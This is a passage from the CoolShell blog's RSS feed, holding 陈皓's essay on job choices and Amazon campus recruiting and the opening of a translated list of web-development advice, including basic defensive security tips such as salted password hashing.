src=\"https://coolshell.cn/wp-content/uploads/2011/02/passwords-150x150.png\" alt=\"破解你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3801.html\" class=\"wp_rp_title\">破解你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Twitter的禁用口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2451.html\" class=\"wp_rp_title\">Twitter的禁用口令</a></li><li ><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"如何管理并设计你的口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2428.html\" class=\"wp_rp_title\">如何管理并设计你的口令</a></li><li ><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"如何防范密码被破解\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2078.html\" class=\"wp_rp_title\">如何防范密码被破解</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6193.html\">CSDN明文口令泄露的启示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6193.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>145</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>三个事和三个问题</title>\n\t\t<link>https://coolshell.cn/articles/6142.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6142.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 20 Dec 2011 00:39:41 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Amazon]]></category>\n\t\t<category><![CDATA[Job]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6142</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>从9月份开始，是很多在校毕业生的择业时期，有很多很多朋友写邮件给我让我帮他们参考如何选择工作（对不起我无法在第一时间回信，因为实在是太多了，我那繁忙工作和生活都...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6142.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>从9月份开始，是很多在校毕业生的择业时期，有很多很多朋友写邮件给我让我帮他们参考如何选择工作（对不起我无法在第一时间回信，因为实在是太多了，我那繁忙工作和生活都没办法让我能即时回复），并且还有一个已经工作了多年的技术很强的朋友因为跳槽没有跳好，也和我说了很多他 的感受。从这个过程中让我有了很多感触和想法想和大家分享，本来这篇文章1个月前就想写的，只是要写下来时不知道如何整理这么多的东西和思绪。今天也不知道，但是一定要写了，不然，我的这些感触和想法就会越来越不新鲜了。</p>\n<p><strong>注：这篇文章里的所有的故事都是真实的</strong>，<strong>其不可避免地会加上我<strong><strong><strong>强烈的</strong></strong></strong>个人情怀和个<strong><strong>人色彩</strong></strong></strong>，<strong>叙述的过程可能比较乱，但我能确保这些都是我的肺腑之言</strong>。</p>\n<h4>第一个事：网友的来信</h4>\n<p>第一个故事是一个杭州的学生的故事，其有两个offer，一个是北京的（雅虎研发中心），另一个是杭州的一个做商业智能软件的公司，也是美国的上市公司。他在给我的来信内心纠结地说：</p>\n<blockquote><p>雅虎其实很想去，虽然这几年雅虎走下坡，但还是大公司，牌子硬，里面牛人也多，有助于自己水平的提升。但感觉北京环境不好，生活不是那么舒坦，也搞不定户口，所以我去的话也只能干个三五年就得考虑跳槽到别的城市安家落户了。这么一跳，在北京积累的各种资源却又带不走 。</p>\n<p>杭州，比北京更适合生活，户口不是问题，朋友多，这个公司也比较宽松，有较多的业余时间跟朋友们一起搞点东西。而且这些年这个公司上升的势头，在国内设研发中心也才4年，规模不大，公司本身规模也还不大，我觉得机会还不错。再加上离家近，对家人大概可以多些照应。</p>\n<p>关于未来换工作，雅虎做的是搜索，广告，移动互联这几个方面的，东西在互联网企业里面都比较通用，以后跳槽的话，面相对比较宽。杭州的那个做商业智能的公司，据了解其他做的比较好的也就几个大公司如SAP，IBM有这方面的业务。</p></blockquote>\n<p>我和这个同学发了邮件，也打了长途电话，我基本上是这样回复的——</p>\n<p><span id=\"more-6142\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>户口，离家近，安逸的生活，相比起你的人生经历，你的眼界，你的发展，什么都不是</strong>。千万不要让户口限制了你的人生，如果要过安逸轻松的生活，最佳方案是进政府部门，既然要活在体制外，就一定是靠能力，靠经历，一定要有好的经历和能力。</p>\n<p style=\"padding-left: 30px;\">2）<strong>眼界，眼界，眼界</strong>。这是我们这个国家里的人最需要的东西了，你的眼界决定了你的人生。我对杭州的这家公司一无所知，但是我知道雅虎的一些好处：a）互联网企业，其天地明显要比BI广阔很多，b）技术强，能人多（看雅虎的面试的难度以及一些产品就知道了），c）外企，可以练英语。d) 跨国公司，可以开眼界，或许会有出国机会。e）北京，几乎所有的知名公司都在这里有基地，这里的技术氛围在全国数一数二。<strong>为了经历和眼界，辛苦几年又有何妨？！人生还是需要有激情的。</strong></p>\n<p style=\"padding-left: 30px;\">3）<strong>经历，经历，经历</strong>。问自己一下，我们会在毕业的第一份工作呆上一辈子吗？不会吧。就算不喜欢北京，就算雅虎这个公司并不完美，但是雅虎的经历，能为你开启一个更为广阔的天地。</p>\n<p style=\"padding-left: 30px;\">4）我认为一个有过几乎失败经历的公司会更牛。Apple被打趴下过，Amazon也被打趴下过，<strong>只有被打趴下过而又能站起来的公司和人才是<strong>真正伟大的</strong></strong>。如果Yahoo还能站起来，它一定会是一个伟大的公司。</p>\n<p>小伙子是个很聪明的人，也是个对生活有激情的人，所以，最后毁了“三方”选择了雅虎。他说：</p>\n<blockquote><p>最终选择雅虎的原因是，我觉得趁早年轻先出去看看，北京还是一个开阔视野的好地方。我要是一开始就选择杭州，以后估计不太会出去了，人生短暂，我还是希望多经历一些多体会一些。我从不畏惧在北京是否有户口，那里的房价是否承受的起，我觉得一个刚毕业的学生没必要太多的考虑这些问题，最重要的是考虑自己的发展。</p></blockquote>\n<p>而我的心情却有些复杂，一方面，我觉得一个人的一生可能就此被我改变了，我的心里很复杂。另一方面，万一他来北京不是很顺怎么办？会不会说我骗了他？在这里，我想对这个朋友说——“保持你的热情，努力开你的眼界，努力提高你的能力，你不可能走得不好的，就算雅虎有一天倒下了，也会有很多个更好机会等着你的，我会一直在你身边帮助你的”。</p>\n<p>这样的来信还有很多很多，户口，薪资，是否去大城市，几乎都成了大家考虑的重点。这个年代实在是太浮躁了。我在此想告诉大家，对于你的人生你应该把“<strong>和什么样的人做什么样的事</strong>”提到你择业优先级最高的地位，没有之一。我的答案是，“<strong>和有激情能做事的人做有意义的事</strong>”。</p>\n<p><strong>生活在如此刺激的年代，一定要去经历那些最刺激最有意义的东西，这样人生才会变得有意义。</strong></p>\n<h4>第二个事：Amazon的校园招聘</h4>\n<p>在Amazon校招的其间发生了一些有意思的事，比如：</p>\n<p>1）在哈尔滨校招过后，我被公司里的一些同事亲切地称为“<a href=\"http://blog.sina.com.cn/s/blog_65f386930100ytgc.html\" target=\"_blank\">体型魁梧的男子</a>”，呵呵。希望这位同学毕业的时候还能来Amazon面试，这样，我就能再“虐你一次”。哈哈。</p>\n<p>2）这次Amazon的校招在北京，天津，西安，武汉，哈尔滨等地进行了招聘，大家知道我们用什么面试题来面这些快毕业的学生吗？我们用面试高级程序员的问题来面试这些刚毕业的学生（我和我的团队里的那些高级程序员说：“你们应该庆幸你们面试的时候没有被回这些问题”）。你知道我们有什么样的收获？主要有两点收获：</p>\n<ul>\n<li><strong>武汉的学生太给力了</strong>。你们的能力超出了所有其它城市的学生，包括北京。这让我们很诧异，搞得我们几个经理都在思考是不是要去武汉建Amazon的研发分部去了。我个人的分析是：<strong>武汉属于中心城市和北京等大城市的沟通相当地好，在这里的学生和在北京的学生有一样的眼界和技术氛围，但却没有在大城市的同学们的浮燥，能踏下心来专研技术</strong>。</li>\n</ul>\n<ul>\n<li><strong>学C++的同学比学Java的同学解决问题的能力更强</strong>。因为两个原因，a) C++需要了解系统知识，b) C++的程序员几乎什么事都得自己干。（参看我的《<a title=\"如何学好C语言\" href=\"https://coolshell.cn/articles/4102.html\" target=\"_blank\">如何学好C语言</a>》和《<a title=\"如何学好C++语言\" href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\">如何学好C++语言</a>》，当然，Java还是很牛的，比如OO方面）</li>\n</ul>\n<p>3）有一个同学接受了Amazon的offer后，给我来信诉说，给他打电话的经理告诉他要做的是测试为主的工作。然后，他给我发邮件来和倾诉，我说，<strong>如果你不喜欢，你就要说出来，不要将就，将就出来的人生只会平添许多烦恼和后悔</strong>。在此，我想在这里澄清两个事：</p>\n<ul>\n<li>Amazon不会强行把你分配到团队中，只要你有想去的团队，你就应该说出来。我们一开始会内部做分配，这样做只是为了效率，但是这并不代表你已经被最终分配到那个团队中去了，无法再调整了。只要你提出来你想做什么。我们会把你的要求放在第一位，并尽最大的可能满足你的要求。相信经理们给你们电话的时候都说过这样的内容了。</li>\n</ul>\n<ul>\n<li>Amazon所有的“蓝卡员工”（在Amazon工作5年以内的员工）在工作满一年后，可以有条件地在Amazon内部transfer。条件只有一个：你的工作业绩要很不错，在相同级别的员工中是中坚力量。你可以直接申请其它团队的招聘职位（这个其它团队包括了美国总部在内的全世界的团队），经过流程简单的面试就可以正式transfer。没有人可以阻止你，那怕是Jeff Bezos也无权阻止你。（这个政策要比北京户口更有价值吧？！Think it Big!）</li>\n</ul>\n<p>4）最后一个有关校园招聘的事发生在我的团队。我觉得我可能要失去这个获得offer的学生了。他在腾讯和亚马逊之间更倾向于腾讯，因为他在腾讯实习过。他一开始的理由主要是，一个是户口问题，腾讯可以解决户口，另一个是他想做底层的C/C++，而不是Java。后面的理由又转变为腾讯的团队文化，等等。</p>\n<p>我已经给他打过两次电话了，也和他说过许多，和第一个故事里说得差不多。对于是否做C/C++还是Java这方面的事，他和我说，他想在某一个领域成为一个专家。我对他说的这个专家有些模糊，我只是和他说——“<strong>软件的精髓不在于你对系统底层有多了解，也不在语言层面，而是在于设计和架构，而设计和架构这种东西只能靠多想多看</strong>”，我和他说，Amazon不是一个喜欢分享的公司，Amazon内部很多技术和设计水平可能是外部的人无法想像的。我希望他能来我的团队和大家工作一段时间真正感受一下，再做打算。（当然，要是他不明白这些事，我也觉得他不来也没有什么可惜的）</p>\n<p>另外，我想对所有的人说：“<strong>这个世界上有两种公司，一种是“劳动密集型”的公司，另一种是“知识密集型”的公司，很多公司把软件做成了一种“劳动密集型”的活动，在那里永远无法做出能够让业界所震撼的东西，而有的公司才能把其做成“知识密集型”的公司，在那里，你会看到世界因为他们而改变</strong>”。如果你不能理解这句话的话，你不妨想像一个网上卖书的的公司干出连Google都赶不上的“平台”（参看“<a title=\"SteveY对Amazon和Google平台的长篇大论\" href=\"https://coolshell.cn/articles/5701.html\" target=\"_blank\">Steve Y的Amazon和Google平台论</a>”），你不妨想像一个做MP3播放器的公司可以改变唱片业乃至改变世界。</p>\n<p>不管这位同学最终能不能成选择我的团队的一员，我都会送你一本《Steve Jobs》，额外，我还会送你一件我团队自己制作的T恤（见下图，谢谢我的HR Recruiter当模特）。</p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter  wp-image-6145\" title=\"Amazon Global Selling\" src=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling.jpg\" alt=\"\" width=\"336\" height=\"441\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-229x300.jpg 229w, https://coolshell.cn/wp-content/uploads/2011/12/amazon_global_selling-206x270.jpg 206w\" sizes=\"(max-width: 336px) 100vw, 336px\" /></p>\n<h4>第三个事：朋友的跳槽</h4>\n<p>我有一个普通朋友，几个月前跳槽去了一家正在高薪挖人的国内的快要准备IPO的公司。他们开出的薪水和条件非常地诱人。给我这个朋友的开出薪水和那个职位诱惑力太大了。一般人都很难拒绝。但是，当他入职了以后，他发现了这个公司内有很多东西是相当恶心和让他无法接受的，这个公司就可能连“劳动密集型”的公司都不算，非常发不重视技术，在技术上做的东西相当地不规范，在那里的技术人员不但相当地苦逼，而且干的事相当的垃圾，出了问题，所有的团队都在互相推诿，管理非常混乱。这让我的那个朋友非常地难受，在那里的每一天都是一种煎熬，而且他无法改变，高管也很难改变这种局面。整个公司在一种疯狂地暗无天日的状态下工作。我对这个朋友目前的善感到担忧。</p>\n<p>但是，我想借这个事来谈谈我的想法。我承认薪水和职位是一种价值，但是，人生的价值只有这个吗？你一年少了那几万块钱，你也穷不了，你多了那几万块钱，你也富不了，为什么不去追求那些比那几万块钱更有价值的东西呢？对于我来说，我觉得，最有价值的东西就是——<strong>能和那些有梦想有追求有能力的人一起去经历那些最有意义的事情，那些能够造福社会、改变世界、创造历史的事情</strong>。</p>\n<p>我从我的上一份工作到现在的工作，我的薪水不但没怎么涨，只是执平，而我的职位还比上一家公司降了一级（而且我还放弃两年内职位还可能再次晋升的机会），我管的团队从4个团队减到了一个很小的5个人左右的团队（现在我坚持小的团队做大事）。我来Amazon之前，这个事让我整整思考了2个多月。最终我发现，<strong>职位和薪水这些对我来说都无所谓，因为我是做事的人，而只有有意义的经历才能真正喂饱我</strong>。而我目前在Amazon里做的这个事，是可能改变历史的事，是那种可以让我一想起来就会兴奋的事。</p>\n<p><strong>我知道，价值并不仅仅只是名利权，对此我只想说，不要把自己给卖了</strong>。</p>\n<h4>三个问题</h4>\n<p>其实，我还有很多故事可以讲，只不过我写得太多了，差不多到文章该结束的时候了。那些事改天再说吧。我经历的这些事让我思考了很多很多。每年年底都是我情绪比较低沉的时候，因为，这个时候是我反思一年中的得失的时候，在这个时间段里，我会有一些不安，那种我害怕已经虚度了这一年的那种不安。</p>\n<p>2011年的年底，我问了我自己三个问题：</p>\n<p style=\"padding-left: 30px;\"><strong>1）每天早上醒过来的时候，我会为什么感到兴奋？是什么在驱动着我去开始新的一天？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）现在的经历有没有让我有这种兴奋的感觉？这种让我充满力量和期待的感觉？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）有没有浮燥，有没有得到认可？身边的人的认可？但更重要的是自己是否对自己认可？</strong></p>\n<p style=\"text-align: left;\">我把我自己的这三个问题共享给大家，我有我的答案，相信你也有你的答案。</p>\n<p style=\"text-align: center;\"><strong>在2011年的年底，我希望大家的2011年没有虚度，而2012年能经历那些有意义的的事。</strong></p>\n<p style=\"text-align: center;\"><span style=\"color: #cc0000; font-size: 16pt; font-family: 'Microsoft YaHei';\"><strong>提前祝大家新年快乐！</strong></span></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/12/people-150x150.jpg\" alt=\"技术人员的发展之路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17583.html\" class=\"wp_rp_title\">技术人员的发展之路</a></li><li ><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice-150x150.jpg\" alt=\"程序算法与人生选择\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_title\">程序算法与人生选择</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"你和你的工作\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3231.html\" class=\"wp_rp_title\">你和你的工作</a></li><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6142.html\">三个事和三个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6142.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>296</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Web开发中需要了解的东西</title>\n\t\t<link>https://coolshell.cn/articles/6043.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6043.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 07 Dec 2011 00:29:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[Javascript]]></category>\n\t\t<category><![CDATA[SEO]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6043</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在StackExchange上有人问了这样一个问题：What should every programmer know about web developmen...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6043.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在StackExchange上有人问了这样一个问题：<a href=\"http://programmers.stackexchange.com/questions/46716/what-should-every-programmer-know-about-web-development\" target=\"_blank\">What should every programmer know about web development?</a>（关于Web开发，什么是所有程序员需要知道的？）里面给出的答案非常不错，所以，我翻译转载过来。 顺便说一下，StackExchange真是非常好，大家可以对同一个答案做贡献和修订，看看这个问题的<a href=\"http://programmers.stackexchange.com/posts/46760/revisions\" target=\"_blank\">修订过程</a>你就知道了——专业的问答网站应该怎么去做。这就是我在这篇文章中也说过<a title=\"腾讯，竞争力 和 用户体验\" href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\">真正的用户体验是什么样的</a>。</p>\n<p>好了，下面是正文（我对原文做了一些批注，也许不对或有误导，请大家指正）</p>\n<p>下面的这些东西可能对于大多数人并不陌生，但是可能会有些东西你以前并没有看过，或是没有完全搞懂，甚至都没有听说过。（陈皓注：我相信当你看完这个列表后，你会觉得对于我国的Web开发有点弱了，还是那句话，表面上的东西永远是肤浅的）</p>\n<h4><strong>接口和用户体验</strong></h4>\n<ul>\n<li>小心浏览器的实现标准上的不一致，确信让你的网站能够适当地跨浏览器。至少，你的网站需要测试一下下面的浏览器：</li>\n<ul>\n<li>最新的 <a href=\"http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29\" rel=\"nofollow\">Gecko</a> 引擎 (<a href=\"http://firefox.com/\" rel=\"nofollow\">Firefox</a>)，</li>\n<li>一个 Webkit 引擎 (<a href=\"http://www.apple.com/safari/\" rel=\"nofollow\">Safari</a>, <a href=\"http://www.google.com/chrome\" rel=\"nofollow\">Chrome</a>, 或是其它的移动设备上的浏览器)</li>\n<li> <a href=\"http://en.wikipedia.org/wiki/Internet_Explorer\" rel=\"nofollow\">IE 浏览器</a> (测试IE的兼容性你可以使用微软IE的 <a href=\"http://www.microsoft.com/Downloads/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&amp;displaylang=en\" rel=\"nofollow\">Application Compatibility VPC Images</a>)</li>\n<li> <a href=\"http://www.opera.com/\" rel=\"nofollow\">Opera</a> 浏览器。</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">最后，你可以使用一下<a href=\"http://www.browsershots.org/\" rel=\"nofollow\">这个工具</a> 来看看你的网页在不同的浏览器下是怎么被显示出来的（陈皓注：这个工具就是以前本站介绍过的<a title=\"如何检查网页浏览器的兼容性\" href=\"https://coolshell.cn/articles/757.html\" target=\"_blank\">在不同浏览器和平台上检查你的网站的兼容性</a>）</p>\n<ul>\n<li>多考虑一下人们是怎么来访问你的网站而不是那些主流的浏览器：手机，读屏软件和搜索引擎，例如：一些Accessibility的东西： <a href=\"http://www.w3.org/WAI/\" rel=\"nofollow\">WAI</a> 和  <a href=\"http://www.section508.gov/\" rel=\"nofollow\">Section508</a>, 移动设备开发：<a href=\"http://mobiforge.com/\" rel=\"nofollow\">MobiForge</a>.</li>\n</ul>\n<ul>\n<li>部署Staging：怎么部署网站的更新而不会影响用户的访问。 <a href=\"http://programmers.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site/46738#46738\">Ed Lucas的答案</a> 可以让你了解一些（陈皓注：Ed说了一些如版本控制，自动化build，备份，回滚等机制）。</li>\n</ul>\n<ul>\n<li>千万不要直接给用户显示不友好的错误信息。</li>\n</ul>\n<div><span id=\"more-6043\"></span></div>\n<ul>\n<li>千万不要把用户的邮件地址以明文显示出来，这样会被爬虫爬走并被让用户的邮箱被垃圾邮件搞死。</li>\n</ul>\n<ul>\n<li>为用户的链接加上 <code>rel=\"nofollow\"</code> 的属性以 <a href=\"http://en.wikipedia.org/wiki/Nofollow\" rel=\"nofollow\">避免垃圾网站的干扰</a>。（陈皓注：<strong>nofollow</strong>是HTML的一个属性，用于通知搜索引擎“这个链接所指向的网页非我所能控制，对其内容不予置评”，或者简单地说，该链接不是对目标网站或网页的“投票”，这样搜索引擎不会再访问这个链接。这个是用来减少一些特定垃圾页面对原网站的影响，从而可以改善搜索结果的质量，并且防止垃圾链接的蔓延。）</li>\n</ul>\n<ul>\n<li><a href=\"http://www.codinghorror.com/blog/archives/001228.html\" rel=\"nofollow\">为网站建立一些的限制</a> &#8211; 这个属于安全性的范畴。（陈皓注：比如你在Google注册邮箱时，你一口气注册超过两个以上的邮箱，gmail要求给你发短信或是给你打电话认证，比如Discuz论坛的会限制你发贴或是搜索的间隔时间等等，更多的网站会用CAPTCHA来确认是人为的操作。 这些限制都是为了防止垃圾和恶意攻击）</li>\n</ul>\n<ul>\n<li>学习如何做 <a href=\"http://en.wikipedia.org/wiki/Progressive_enhancement\" rel=\"nofollow\">Progressive Enhancement</a>. （陈皓注：<a href=\"http://en.wikipedia.org/wiki/Progressive_enhancement\" rel=\"nofollow\">Progressive Enhancement</a>是一个Web Design的理念，如：1）基础的内容和功能应该可以被所有的浏览器存取，2）页面布局的应该使用外部的CSS链接，3）Javascript也应该是外部链接还应该是 <a title=\"Unobtrusive JavaScript\" href=\"http://en.wikipedia.org/wiki/Unobtrusive_JavaScript\">unobtrusive</a> 的，4）应该让用户可以设置他们的偏好）</li>\n</ul>\n<ul>\n<li>如果POST成功，要<a href=\"http://en.wikipedia.org/wiki/Post/Redirect/Get\" rel=\"nofollow\">在POST方法后重定向网址</a>，这样可以阻止用户通过刷新页面重复提交。</li>\n</ul>\n<ul>\n<li>严重关注Accessibility。因为这是<a href=\"http://www.section508.gov/\" target=\"_blank\">法律上的需求</a>（陈皓注：Section 508是美国的508法案，其是美国劳工复健法的改进，它是一部联邦法律，这个法律要求所有技术要考虑到残障人士的应用，如果某个大众信息传播网站，如果某些用户群体（如残疾人）浏览该网站获取信息时，如果他们无法正常获得所期望的信息（如无法正常浏览），那可以依据相关法规，可以对该网站依法起诉）。 <a href=\"http://www.w3.org/WAI/intro/aria\" rel=\"nofollow\">WAI-ARIA</a> 为这方面的事提供很不错的资源.</li>\n</ul>\n<h4><strong>安全</strong></h4>\n<ul>\n<li>在网上有很多关于安全的文章，但是 <a href=\"http://www.owasp.org/index.php/Category%3aOWASP_Guide_Project\" rel=\"nofollow\">OWASP 开发指导</a> 涵盖了几乎所有关于Web站点安全的东西。（陈皓注：OWASP(开放Web应用安全项目- Open Web Application Security Project)是一个开放的非营利性组织，目前全球有130个分会近万名会员，其主要目标是研议协助解决Web软体安全之标准、工具与技术文件，长期 致力于协助政府或企业了解并改善网页应用程式与网页服务的安全性。OWASP被视为Web应用安全领域的权威参考。2009年下列发布的美国国家和国际立法、标准、准则、委员会和行业实务守则参考引用了OWASP。美国联邦贸易委员会(FTC)强烈建议所有企业需遵循OWASP十大WEB弱点防护守则）</li>\n</ul>\n<ul>\n<li>了解什么是 <a href=\"http://en.wikipedia.org/wiki/SQL_injection\" rel=\"nofollow\">SQL 注入攻击</a> 并知道怎么阻止这种攻击。</li>\n</ul>\n<ul>\n<li>永远不要相信用户的输入（包括Cookies，因为那也是用户的输入）</li>\n</ul>\n<ul>\n<li>对用户的口令进行Hash，并使用salt，以防止Rainbow 攻击（陈皓注：Hash算法可用MD5或SHA1等，对口令使用salt的意思是，user 在设定密码时，system 产生另外一个random string(salt)。在datbase 存的​​是与salt + passwd 产的md5sum 及salt。 当要验证密码时就把user 输入的string 加上使用者的salt，产生md5s​​um 来比对。 理论上用salt 可以大幅度让密码更难破解，相同的密码除非刚好salt 相同，最后​​存在database 上的内容是不一样的。google一下md5+salt你可以看到很多文章。关于<a href=\"http://en.wikipedia.org/wiki/Rainbow_table\" target=\"_blank\">Rainbow 攻击</a>，其意思是很像密码字典表，但不同的是，Rainbow Table存的是已经被Hash过的密码了，而且其查找密码的速度更快，这样可以让攻击非常快）。使用慢一点的Hash算法来保存口令，如 bcrypt (被时间检证过了) 或是 scrypt (更强，但是也更新一些) (<a href=\"http://www.tarsnap.com/scrypt.html\" rel=\"nofollow\">1</a>, <a href=\"http://it.slashdot.org/comments.pl?sid=1987632&amp;cid=35149842\" rel=\"nofollow\">2</a>)。你可以阅读一下 <a href=\"http://codahale.com/how-to-safely-store-a-password/\" rel=\"nofollow\">How To Safely Store A Password</a>（陈皓注：酷壳以前曾介绍过<a title=\"如何防范密码被破解\" href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\">bcrypt这个算法</a>，这里，我更建议我们应该让用户输入比较强的口令，比如Apple ID注册的过程需要用户输入超过8位，需要有大小写和数字的口令，或是做出类似于<a title=\"另类UX让你输入强口令\" href=\"https://coolshell.cn/articles/3877.html\" target=\"_blank\">这样的用户体验的东西</a>）。</li>\n</ul>\n<ul>\n<li><a href=\"http://stackoverflow.com/questions/1581610/how-can-i-store-my-users-passwords-safely/1581919#1581919\">不要试图自己去发明或创造一个自己的fancy的认证系统</a>，你可能会忽略到一些不容易让你查觉的东西而导致你的站点被hack了。（陈皓注：我在<a title=\"如何设计“找回用户帐号”功能\" href=\"https://coolshell.cn/articles/5987.html\" target=\"_blank\">腾讯那坑爹的申诉系统</a>中说过这个事了，我说过这句话——“真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞”，当然，很遗憾不是所有的人都能看懂这个事，包括一些资深的人）</li>\n</ul>\n<ul>\n<li>了解 <a 